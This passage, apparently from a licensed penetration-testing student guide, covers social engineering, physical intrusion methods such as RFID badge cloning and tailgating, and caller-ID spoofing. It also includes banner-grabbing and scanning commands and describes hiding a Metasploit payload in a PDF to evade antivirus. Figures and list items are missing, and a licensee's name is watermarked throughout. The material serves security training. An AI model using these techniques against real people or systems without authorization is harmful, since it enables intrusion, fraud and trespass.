that the account has not been compromised. The hoax is that the sign-in link
goes to a pharming website that steals the user’s credentials.
• A blog post claiming that most computer performance issues are the result of
RAM that has not been “cleaned” often enough. The post offers steps for how to
perform a “clean” operation at the command line. The hoax is that the command
will format a user’s storage drive, and completely wipe its contents.
As shown in the following graphic, a hoax can use a well-crafted email sent to the
target:
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 79
A malicious actor will leverage phishing, pharming, and baiting to launch a more
effective attack using several methods. First, let’s discuss how malicious actors use
email to launch an attack.
Dispatching Email
Email is one of the original ways to send malware, and continues to be an idea
method to launch an attack. To disseminate a message to multiple victims,
malicious actors use spam, which is unsolicited email, that includes advertisements,
and get-rich-quick schemes. Spam can also include malvertising, which is email
that looks like a normal ad, but instead includes malicious code.
Spam is often used in conjunction with phishing: the attacker sends unsolicited email
to as many targets as possible, hoping that at least some users will act on them.
For a more targeted approach, an attacker can use spear phishing, which is a
phishing attack that targets a specific person or group of people. Spear phishing
attacks require that the attacker perform reconnaissance and gather specific
people-based information on their targets before launching the attack. The
attacker then uses what they learn about their targets’ habits, interests, and job
responsibilities to create a custom message. The custom email is more convincing
than a generic one and has a better chance of having the target open the message
and complete some action.
One form of spear phishing is whaling, which targets wealthy or powerful individuals,
such as a CEOs of a Fortune 500 companies or a philanthropist.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
80 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
• Short message service (SMS) and SMiShing is a phishing attack in which the
attacker entices their victim through SMS text messages.
Another method that employs deceitful tactics is a watering hole attack, which
can download and trigger an exploit on a victim without any direct contact from the
malicious actor. As shown in the graphic, the malicious actor doesn’t have any direct
contact with the victim:
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 81
2. The malicious actor injects malicious code onto the insecure website.
3. When the victim visits the insecure website, the payload is triggered.
4. The payload is sent to the victim and infects the victim’s computer.
5. The exploit then opens a communication channel and reports back to the
malicious actor.
Once on the victim’s system, the malicious actor can move through the system and
then possibly pivot and access protected resources on the network.
The technique used in a watering hole attack can be used in other ways as well,
such as a supply chain attack as shown in the graphic:
Although similar to a watering hole attack, a supply chain attack can have more
damaging effects. Infecting the target organization can result in downstream
liability, as any vendors (downstream) might be harmed by the malware on the
target system (upstream), which can result in serious damage.
When crafting various social engineering attacks, another method the team can
use to redirect victims is typosquatting (URL hijacking). With URL hijacking, an
attacker exploits the typing mistakes that users may make when attempting to
navigate to a website.
URL hijacking works in the following manner:
1. A user that wants to visit CompTIA’s website might type in their browser
comtpia.org (instead of comptia.org).
2. The browser has no way of knowing this was a mistake, so it sends the user to
comtpia.org.
3. An attacker has already registered comtpia.org and cloned the site, which can
be used as a pharming site with the hopes of collecting sensitive data.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
82 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
• Implying scarcity to get the victim to act, as people tend to attach undue value
to objects or ideas that are uncommon or otherwise difficult to obtain. For
example, sending an email stating the victim is the recipient of a “secret” or
“exclusive” item is more enticing to the victim than something they encounter
every day.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 83
• Malicious actors also prey on fear, as it can motivate people to act in ways they
normally wouldn’t. For example, a malicious actor might warn the victim that
they will lose money or access if they do not comply.
Another quality that malicious actors prey on is the need to comply and
conform. Let’s examine ways that this is achieved.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
84 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Review Activity:
3
1. Arya receives an email in which the attacker claims to work for his
bank. The contents of the email states that he should his username and
password so that their account can be properly reset. If Arya doesn’t
comply within one week, the bank will terminate his account. What
motivators does the attacker use in the email?
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 85
Topic 4B
Summarize Physical Attacks
4
A PenTest exercise will many times include an assessment of the physical aspects
of the organization and can include the target’s premises or any physical device
belonging to the client organization. In this section, we’ll review how to exploit
physical security by using methods such as tailgating, dumpster diving, and other
techniques to gain access to the private network.
Let’s start with an overview and best practice methods to exploit the target’s
physical security defenses.
Once everyone is clear about the objectives, the team will want to evaluate any
physical security controls and internal vulnerabilities and defenses that might be in
place on the target’s premises:
• Door and hardware locks, both physical and electronic
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
86 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Now that you have a grasp on what’s involved in the physical security assessment,
let’s outline ways to bypass security measures.
Circumventing Security
Prior to attempting a physical security breach of a building, the team will want
to scope out the facility and the security measures in place. In this section, we’ll
evaluate some of the ways to circumvent defensive measures by scaling fences,
bypassing motion detectors, and cloning a badge.
Scaling Fences
Many buildings have perimeter security, such as natural barriers or fences, to
deter someone from simply entering the property. The team should walk around
the facility and assess whether there are impediments to entrances and other
restricted areas that you might be able to go over. In addition, the team can study
photographs or Google Earth to examine the property.
If there are fences, the team should evaluate whether or not it would be feasible for
someone to try and climb the fence. For example, some fences are only three to four
feet high and can easily be scaled. More restrictive premises will likely install taller
fences that are difficult to climb over without considerable effort or by using a ladder.
Highly restrictive areas might use extreme security measures in the form of barbed
or razor wire at the top of the fence. This is a robust defense method, as even
if someone were to manage to scale the fence, they would have a difficult time
actually going over it without causing an injury.
Attempting to scale a fence with barbed or razor wire may lead to serious injury.
Once the team has evaluated the facility for barriers or fences, they can make an
assessment as to the level of security the defensive methods provide. In addition,
they will want to identify where there might be vulnerable areas.
Detecting Motion
In addition to fences and barriers, the facility might have motion detection
systems in place. Motion detection sensors are placed in secure areas of the
building’s along with key entrances and exits to detect movement, monitor activity,
and identify unauthorized physical access.
The sensors can use a variety of different technologies to identify motion, but most
focus on detecting minute changes in the infrared spectrum. Sensors can range in
their ability to detect motion in the following ways:
• Using infrared imaging to detect the presence of a person or object
Most sensors are placed in ceilings and opposite of each other to cover the widest
possible area. If the sensor detects motion, it can trigger an alarm, light, or a fail-
safe mechanism, such as activating a mantrap.
The team will want to evaluate the sensors to see if someone can bypass the
system and whether or not there are blind spots as you move through a building. In
addition, the team can attempt to block the motion detector by using a piece of
cardboard or Styrofoam over the sensor.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 87
Motion detectors observe for any activity and provide another layer of security.
Another physical security method is by having all personnel wear a badge as they
move through the facility. If that is the case, the team may be tasked to see if it is
possible to clone a badge to gain access to a building or secure area.
Cloning a Badge
In some facilities, all employees are required to wear a badge so that they can
easily be identified. Some badges are simply plastic and have no embedded
technology. However, some use a radio-frequency identification (RFID) badge
system for physical security. These badges hold an individual’s authorization
credentials and use a proximity reader that reads data from either an RFID or
Near-Field Communication (NFC) tag when in range.
RFID is a standard for identifying and keeping track of objects’ physical locations
through the use of radio waves. RFID has many different applications, but in the
context of physical security, it is often used with identification badges, and works in
the following manner:
1. An RFID tag is attached to the badge and contains an antenna and a
microchip.
2. A door lock that contains an RFID reader will continuously send a signal into
the area surrounding the reader.
3. The RFID tag’s antenna picks up this signal when in close proximity and the
microchip generates a return signal.
4. The RFID reader receives this signal and will open the lock if the signal is
authenticated.
Unlike a card with a chip or magnetic stripe, an RFID badge does not need to be
waved in front of the reader. It simply needs to be within a few feet of the reader,
and can be inside of a bag, affixed to someone’s shirt, or otherwise physically
obstructed. RFID authentication systems can support granular access control with
unique badges, allowing only certain badges to open certain locks. Although a
badge is technically a “key” to the RFID lock, it helps to mitigate lock picking while
still requiring that the user present a specific item for authentication.
If a facility is using a badge system to identify employees, a malicious actor can
either steal or clone a badge to circumvent physical security.
Badge cloning is the act of copying authentication data from an RFID badge’s
microchip to another badge. This can be done through handheld RFID writers,
which are inexpensive and easy to use. To clone a badge, complete the following:
1. Hold the badge up to the RFID writer device and press a button to copy the data.
2. Hold a blank badge up to the device and write the copied data to create a
cloned badge.
Some badge cloning tools can read the data like any normal RFID reader, that is, the
reader can be several feet away and concealed inside a bag.
Keep in mind, badge cloning is most effective on badges that use the 125kHz
EM4100 technology. This type of badge does not support encryption and will begin
transmitting data to any receivers that are nearby.
Newer RFID badge technology will use higher frequencies that increase the rate
at which data can be sent, and most support the use of encryption. These badges
only broadcast certain identifying attributes rather than all authentication data on
the badge.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
88 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Gaining Access
During a physical security assessment, the team will also evaluate how secure the
doors are in the facility. In this section, we’ll evaluate ways to gain access to a secure
area by either bypassing locks, tailgating, or piggybacking.
Bypassing Locks
Most organizations have at least one door, cabinet, safe, device, or other asset
that they will place behind a lock. The team may be tasked to find ways to
circumvent these locks in order to achieve your goals. If the team can’t even get
into an office because the front door is locked, then the physical PenTest will be
cut short.
If there is a door lock, the team will need to evaluate the type that is in use, as
this will influence the method used to gain access. There are several different
types of locks. One of the most common is a standard key lock, which requires
the correct key in order for the lock to open. Key locks typically use pin tumblers,
interchangeable cores, or wafers under springs used for tension. Bolt cutters and
hacksaws may be able to destroy locks that are made from substandard materials
or are poorly designed.
Other than physical destruction, you also have the option to pick the lock. Lock
picking uses specialized tools to manipulate the components of a lock in order to
gain access to a restricted area. Picking a lock is a skill that requires practice with
the right tools. Some vendors sell lock picking kits that come with an array of tools
to make the job easier, but you still need to know how to use the tools for them to
be effective.
Many lock picking kits are designed to pick pin-tumbler locks and might not be adequate
for more advanced, high-security locks.
The team must keep in mind that not all locks use keys. Keyless locks such as
combination locks, access card locks, and biometric scanners must be either
destroyed or bypassed. Simple combination locks can be brute-forced with enough
permutations, but access card locks and biometric scanners are difficult to bypass
without the proper item or biometric profile.
Tailgating and piggybacking are other examples of how you can gain access to a
facility as part of a physical attack.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 89
2. The employee opens the door and allows it to close by itself, without checking
to see if anyone is behind them.
3. The attacker then quietly moves to the door as its closing and then walks in
the secured area.
Piggybacking is essentially the same thing as tailgating, but in this case, the
target knows someone is following behind them. The target might either know the
malicious actor personally and be involved somehow, or they might be ignorant of
what the attacker is doing.
For example, if the malicious actor was recently terminated from the company, the
target might not know this and assume it’s just another day at the office. However,
it’s more likely that the target doesn’t know the malicious actor and is just keeping
the door open for them out of common courtesy or to avoid confrontation.
Keep in mind, piggybacking is less effective in smaller organizations where everyone
knows all the employees, or in environments where building access is strongly
controlled.
The team will want to evaluate whether or not they are able to tailgate or piggyback
into a secure area and then note the results.
Next, let’s review ways we can search for information by using methods such as
dumpster diving or shoulder surfing.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
90 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
• Calendars: In the first few weeks of the year, people often discard their old
calendars. The calendar might contain useful information, such as passwords,
phone numbers, or contacts.
Prior to lifting items out of a dumpster, the team needs to keep in mind that this
activity can draw suspicion if you’re seen. However, many dumpsters are generally
placed out of view and away from where people work and require little effort to
access. In addition, dumpsters may also be conveniently accessible outside of
restricted areas so that external sanitation personnel can pick up the trash without
needing to go through a security checkpoint.
In addition to searching through trash to discover useful information, the team can
also observe employees at their computers without them noticing.
Observing Employees
Shoulder surfing is a social engineering attack in which the malicious actor
observes a target’s behavior without them noticing. The target is typically at
their computer or other device and may be working with sensitive information
or inputting their credentials into an authentication system. The malicious actor,
who is behind the target, is able to see what’s on the screen or the keys they are
pressing.
Shoulder surfing doesn’t just include someone peering over someone’s shoulder.
The malicious actor can accomplish the same thing by using the camera on a
smartphone to capture pictures or video at a distance. Or they can set the camera
down on a nearby desk, press record, and leave. Using a camera will allow the
malicious actor to go back to that recording later and review the targets activity,
instead of relying on memory alone.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 91
Review Activity:
5
Physical Attacks
Answer the following questions:
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
92 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Topic 4C
Use Tools to Launch a Social
Engineering Attack
4
Although many social engineering attacks rely on the threat actor’s ability to
manipulate someone into completing a task, many times there are technical aspects
that are required in order to launch a successful exploit. In this section, we’ll review
the Social Engineering Toolkit (SET) and call spoofing tools that the team can use
during the PenTesting exercise.
Let’s start with an overview of the Social Engineering Toolkit.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 93
Once in the opening menu, you can make your selection. For example, I selected 1)
Social-Engineering Attacks, which brought up the following:
SET has a number of options to launch a variety of attacks. In many cases, you will
need to provide additional input, such as IP addresses, port numbers, or website
URLs. However, when using SET, many of the attacks will walk you through what
information is needed, as shown in the screenshot below:
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
94 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Prior to using SET, the team should evaluate the best methods and approach to
craft an attack.
One common method used to get someone to answer the phone is by spoofing
a phone number so that it appears to be from a trusted source. Let’s see what’s
involved.
Spoofing a Call
Today when you make a call from a home line, you are most likely using Voice over
IP (VoIP). VoIP uses the Internet and network to send and receive calls and is slowly
replacing the plain old telephone system (POTS).
On most phones when you get a call, the caller’s identification (Caller ID) will come
up on the device so that you can easily identify the caller.
In order to launch a successful social engineering attack, the threat actor needs
to appear credible. This is possible because VoIP uses software to make any
configuration changes. When making a call, threat actors can spoof the information
that is presented to the receiver on the caller ID to appear as if it is coming from a
familiar number or location.
When spoofing a call, the malicious actor can make the call appear to be coming
from a trusted source, such as:
• A recognized vendor
• A remote office
To spoof a VoIP call, there are a few methods you can use.
1. One method is to use an app where you enter the name and number that
you want the receiver to see. The benefit to using an app is there is no extra
hardware or software needed. However, in most cases, there is a charge for
this type of service.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 95
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
96 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Review Activity:
Tools to Launch a Social
5
Engineering Attack
Answer the following questions:
1. Lachlan asks your team to prepare an attack using the Social engineering
toolkit. How should you proceed?
2. Rafi has asked your team to review some of the basic options listed
in the SET opening menu. When you launch SET, what will you see as
options?
3. Kiah asks your team how to spoof a VoIP call. What is your response?
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 97
Lesson 4
Summary
4
In this lesson, we covered the various methods used in social engineering to exploit
the human psyche. We saw how we can use various methods, such as phishing,
pharming, and baiting, to get a victim to click on a link or complete some action. You
can now understand how using charm, power, and influence, along with a variety
of techniques such as having a sense of urgency or impersonation, are used to gain
the trust of a victim. We then evaluated how physical attacks such as dumpster
diving or shoulder surfing can help the team to discover information. Finally, we
reviewed some of the tools used to launch a social engineering attack, such as the
Social Engineering Toolkit (SET) and methods to spoof a phone number.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
Lesson 5
Preparing the Vulnerability Scan
1
LESSON INTRODUCTION
Once the team has completed a footprinting exercise, the next phase is to devise
a strategy to assess the network for vulnerabilities. The team will need to plan the
vulnerability scan, along with identifying key goals in assuring the organization has
a solid security posture. The team will want to outline the types of scans to be run,
along with any constraints that will impact testing. In addition, they will need to
detect defenses that will influence the effectiveness of the scan. During this process,
the team will utilize scanning tools such as Censys, an attack surface analyzer, along
with tools such as Hping and Open Vulnerability Assessment Scanner (Open VAS).
Lesson Objectives
In this lesson, you will:
• Understand how reducing vulnerabilities will decrease overall organizational
risk and compile a vulnerability scan strategy in-line with organizational in-scope
requirements
• Realize potential network defenses that may impact the effectiveness of the
vulnerability scan.
• Examine the many vulnerability scanning tools available such as Nikto and
SQLmap along with Censys, an attack surface analyzer
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
100 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Topic 5A
Plan the Vulnerability Scan
2
After the team has gathered essential information related to the organization, they
are better prepared to begin assessing the network. In this section, weʼll take a
look at the importance of identifying vulnerabilities, step through the lifecycle of a
vulnerability, and see how a zero-day attack can be especially dangerous. Weʼll then
review the types of scans the team can run when performing active reconnaissance
and cover the importance of identifying network defenses that might interfere with
the scan. Finally, weʼll review the choices the team has in scanning tools available
and ways to analyze the attack surface, craft packets, and assess web vulnerabilities.
Let’s start with the importance of identifying and mitigating vulnerabilities.
Understanding Vulnerabilities
Penetration testing is a proactive exercise that tests the strength of an
organization’s security defenses. A key part of this process is identifying
vulnerabilities or weaknesses that can be triggered accidentally or exploited
intentionally and cause a security breach.
In this section, we’ll review the lifecycle of a vulnerability and the potential risks
to data if anyone or anything is able to exploit the vulnerability. We’ll then cover
how the team prepares for active reconnaissance in identifying hosts, ports, and
services, and detail choices that are involved when performing vulnerability scans.
Let’s begin by outlining the lifecycle of a vulnerability.
Lifecycle of a vulnerability
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 101
2. Coordinate is the next phase, where both the vulnerability and the potential
to exploit the vulnerability are known. During this phase, the vulnerability is
defined, listed, and published in the CVE and CWE so that vendors and anyone
involved is aware of the vulnerability.
4. Manage is when the patch has been released. It’s now up to each individual
organization to take the next step and apply the patch in order to remediate
or mitigate the vulnerability.
5. Document is the final phase, in that the vulnerability has been tested, and
everyone involved will take a moment to document what has been done. In
addition, it’s best to reflect on lessons learned, in order to prevent further
exposure.
Just because of vulnerability exists doesn't mean that a malicious actor will try to exploit
the vulnerability. However, it’s important to be aware it exists, as someone can later use
the vulnerability in an active attack.
As outlined, identifying vulnerabilities is the first step in reducing overall risk. One
type of threat is a zero-day attack, which takes advantage of a software vulnerability
that is unknown or undisclosed by the software vendor. Let’s see how this works.
A zero-day vulnerability
2. At some point, the vulnerability, and the potential for exploitation are now
known by the vendor and is defined, listed, and published so that anyone
involved is aware of the vulnerability.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
102 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
As shown, until the patch is applied, the system is vulnerable and creates a risk
gap, which is the time between when the vendor releases a patch, and the patch is
applied. During this gap, the malicious actor can exploit the zero-day vulnerability,
which can lead to devastating results.
Today organizations use a variety of methods to reduce vulnerabilities and protect
our assets. Not mitigating vulnerabilities can have serious risks to data, as outlined
next.
• Data modification or corruption is when data has been altered in some way,
which is a violation of integrity.
An organization must take steps to properly protect the data. For example, if the
data on a server is not encrypted, this can leave the data vulnerable and lead to
exposure. A malicious actor might be able to gain access to the server and read the
unencrypted files.
In order to decrease overall organizational risk, it’s essential to identify and reduce
vulnerabilities in each attack surface. In the next section, we’ll see how one way the
PenTest team can identify vulnerabilities is by actively conducting a reconnaissance
exercise.
Grabbing Banners
Banner Grabbing is a technique used during reconnaissance to gather information
about network hosts and the services running on open ports. The process involves
attempting to open a session with a service and getting the service to identify itself.
You can use Wget, Netcat, and other tools to grab banners from services and
protocols such as FTP, SSH, HTTP, SMTP, POP3, DNS, Telnet, Microsoft netbios-ssn,
and more. Acquiring these banners can help you focus your attacks on specific
services.
The following are some examples of banner grabbing:
Wget can be used to grab a banner using the following syntax: wget
<target IP> -S. When using this command, -S will print the HTTP headers
that are sent by the server.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 103
Another option is netcat (nc), a popular tool for Unix and Linux. The following
screenshot shows using an HTTP GET request to elicit the web server type and
version: echo -en “GET / HTTP/1.0\n\n\n”|nc www.comptia.
org 80|grep Server
As shown in the graphic, the server is listed as Microsoft-IIS/8.5:
When using certain commands to grab banners, the service will either respond with
information about itself, or wait for more input from you. Depending on the tool
and the protocol, you may need to send specific input that that the service will know
how to respond. In addition, you may also need to break out of the connection by
pressing Ctrl+C or Enter a few times.
Another tool to grab banners is Nmap. Use the following to get some basic information
about a target IP: nmap -sV <target IP> -p <port number>
When using nmap, you don't need to break out of the session, simply wait a few seconds
for the scan to complete.
In addition to basic commands, you can also use an Nmap Scripting Engine (NSE)
script, which will attempt to grab banners from every service it can discover on
a host. An example is shown in the screenshot using the following script: nmap
-sV --script=banner <target>:
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
104 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
You can also grab a banner by using curl, which is an open-source command line
protocol used to transfer data. An example using the command curl -I example.
com to retrieve the banner is shown in the following screenshot:
As outlined, there are many ways to grab banners to learn basic information about
a host. In addition to banner grabbing, the team will want to map the network
in order to discover devices, visualize the network and create a logical network
topology map. Let’s see how this is achieved.
The team can scan using a tool such as Nmap to create a network map. However,
there are other methods to map the network, which include:
• Interrogating ARP caches, routing, and MAC tables
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 105
Many mapping tools have additional functionality. They use Windows Management
Instrumentation (WMI) or Simple Network Monitoring Protocol (SNMP) to
enumerate information from hosts. The tools can gather information such as:
• Hardware and service status
• Interface statistics
Having a topology map of the network is valuable to the PenTest team, as it will
define your choice of tools and strategies when moving to the attack phase. For
example, you cannot conduct an ARP scan or spoof a MAC address on a remote
network without direct access to that network.
Most network mappers only scan the immediate subnet by default. You may have
to manually add additional subnets. Many tools allow you to specify a “seed device”
such as a router or multilayer switch that can provide knowledge of the various
subnets. You typically have to provide a username and password for the scanner to
log into the device to make such queries.
There are many free and commercial network mapping tools. In addition, most
of the paid versions provide free trials. Some mappers interface with drawing
applications such as Microsoft Visio to create professional-looking diagrams.
Popular network mappers include SolarWinds, Intermapper, WhatsUp Gold, PRTG,
Spiceworks, Nmap, and Zenmap.
The tool will actively probe each device and report back what it has found during
the process. As shown, when using a GUI, you can select the device, and the
software will display the node details, along with interface and Virtual Local Area
Networks (VLAN) data.
In addition to mapping, the team will need to scan the network for vulnerabilities.
Let’s see what’s involved next.
Running Scans
Scanning the network for vulnerabilities is another important task when conducting
active reconnaissance. Scanning probes potential targets on the network in order to
identify some of the following issues:
• Weak encryption and authentication protocols
After scanning is complete, the team will be able to identify potential targets to
exploit during the attack phase of the PenTest.
Today, there are many choices when selecting a scanner. Scanners can be more
generalized or focus on specific targets such as Linux and SQL servers, web
applications, or network devices.
Some tools allow you to select the target type; others can use the output from a
port scan to focus their efforts. For example, the following command will use nmap
to discover web servers on the network and then pipe the output to Nikto to run a
vulnerability scan:
nmap -p80,443 10.0.1.0/24 -oG - | nikto.pl -h –
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
106 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
The following are some commonly used general purpose vulnerability scanners:
• Open Vulnerability Assessment Scanner (OpenVAS) is an open-source scanner
• Nmap is a powerful security scanner, which can be used alone or by using NSE
scripts
While scanning for vulnerabilities is an essential step to take during the PenTest
process, the team will need to limit impact of vulnerability scans on production
systems.
Scanning Considerations
During the planning phase of the PenTest, the organization will define some of
the parameters of the PenTest in the project scope, that includes the following
considerations:
• Time to run scans—Some vulnerability scans take a great deal of time to run,
such as web app scans, which can take days. You may need to configure the run
the scan at a more superficial level. You can also set the scan to stop scanning
after a certain amount of time or when you get a satisfactory number of results.
The less overhead the target needs to deal with, the less likely it will experience
delays, become unresponsive, or crash entirely.
One of the things that should be considered with vulnerability scanners is the
potential impact on the devices they are scanning. If the scan runs during working
hours, there is the possibility of creating disruption. Ideally, the scan should be
performed in the background with minimal degradation to network traffic and no
impact to end-users.
Scanning can be either intrusive or nonintrusive. A nonintrusive scan is passive
and only reports identified vulnerabilities; however, an intrusive scan can identify
and then exploit vulnerabilities. When using an intrusive scan, the team should use
caution, as this type of scanning can cause damage to the system.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 107
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
108 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Review Activity:
3
The Vulnerability Scan
Answer the following questions:
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 109
Topic 5B
Detect Defenses
4
During active reconnaissance, the team gathers information about the target in
order to better prepare for the next phase in the PenTest process. When scanning
a network, itʼs not uncommon to encounter a device or application that will either
interfere with a scan or detect scanning activity. Throughout this phase, the team
will want to identify potential network defenses. In this section, weʼll evaluate how
the team can identify load balancers, scan firewalls, and avoid antivirus.
Letʼs start with understanding how load balancers are used on a network.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
110 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
In addition to load balancers, there are other devices that can cause false results on
security scans, such as reverse proxies, intrusion prevention/detection systems, and
firewalls.
Firewalls are used on most networks today to block unauthorized packets from
reaching listening services. While a firewall might have vulnerabilities, most scans
are conducted to identify which type of traffic the firewall will allow and test the
effectiveness of its rules. Letʼs investigate this next.
Recognizing Firewalls
Firewalls are widely used to monitor and control traffic on a network and use
rule sets to determine if traffic is allowed or denied. Most rules are based on the
following parameters:
• Destination or source port and IP address
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 111
• Some WAF products (such as Citrix NetScaler) use a technique called Header
alternation, which changes the original response header to confuse the attacker.
• Other WAF will identify themselves by their response, for example you might
see the following: <title> myDefender blocked your
request</title>.
During the PenTest, the team will test firewalls to see if specially crafted packets are
able to slip past the firewall. The packets might be able to pass through the firewall
for either of the following reasons:
• The packet matches a permit rule.
Another reason a specially crafted packet is able to slip through is because not
all firewalls are capable of payload inspection. As a result, you might be able to
push malicious code through a firewall over a permitted port. For example, if
TCP port 80 is allowed, you could hide a payload in an HTTP header, or simply set
the destination port of any malicious TCP packet to port 80. If the firewall is only
inspecting the ports and not the payload, it will permit the packet.
In some cases, the packets may have slipped through because the Access Control
List (ACL) was not configured correctly.
Whatever the reason, if potentially malicious packets are able to pass through the
firewall, the team should include the results on their report along with remediation
suggestions.
When scanning a firewall for vulnerabilities the team can use a couple of basic
approaches.
• Port-scan the public address of the host or firewall to see which ports are open
or are listening.
Firewalking
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
112 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
In addition to Firewalking, the team can attempt to access a blocked port by using
applications such as Datapipe to redirect to traffic to another port.
Because scanning can be time-consuming, the team can use automated tools to
streamline the workflow. In addition to custom nmap scripts, there are several
automated tools for WAF detection available on GitHub such as Wafw00f and WAFNinja.
While itʼs important to identify network devices, the team should also assess the
presence of antivirus and antimalware protection in use on the network.
Avoiding Antivirus
Today organizations and individuals employ antivirus/antimalware protection to
continuously monitor systems and networks for malware.
During the PenTest, the team may need to assess whether or not they are able to
create an exploit that can bypass the antivirus protection.
In general, there are a few methods to avoid AV detection:
• Create a metamorphic virus, which transforms as they propagate and makes
pattern detection nearly impossible.
One way to achieve this is by using the Social Engineering Toolkit (SET) in Kali Linux.
Using SET along with Metasploit, the team can create a malicious payload, such as a
virus, worm, or Trojan, and embed the payload in a PDF.
Once complete, the team can run a test to see if the payload is detected when
introduced on the network.
As we can see, while an organization may have numerous safeguards in place, the
only way to be sure they are effective is by actively testing the defenses.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 113
Review Activity:
Defenses
5
2. One of your team members, Giles, states that the client has listed a WAF
that is in use on the network. He asks you what a WAF is and how is it
used. How do you respond?
3. During the PenTest, the team may need to assess whether or not they
are able to create an exploit that can bypass the antivirus protection.
How they achieve this?
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
114 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Topic 5C
Utilize Scanning Tools
4
When actively scanning the network for vulnerabilities, the team will want to outline
the types of scans to be run, along with any constraints that will impact testing. To
achieve a wide range of scans and get an accurate picture of the network, the team
will use different tools and techniques. In this section, weʼll take a look at tools used
to evaluate the attack surface, craft, and customize packets along with tools specific
to evaluate web servers and databases.
Letʼs start with identifying the attack surfaces.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 115
Once you have run the scan, you can select different elements to examine more
details, such as services running, ports in use, along with any software vendors that
were recognized.
In addition, the team can run a scan using the Open Vulnerability Assessment
Scanner. When run, OpenVAS will list the vulnerabilities along with a risk rating that
summarizes the overall state of the site that was tested. Below the summary, you
will see details that include the Common Vulnerability Scoring System (CVSS) value
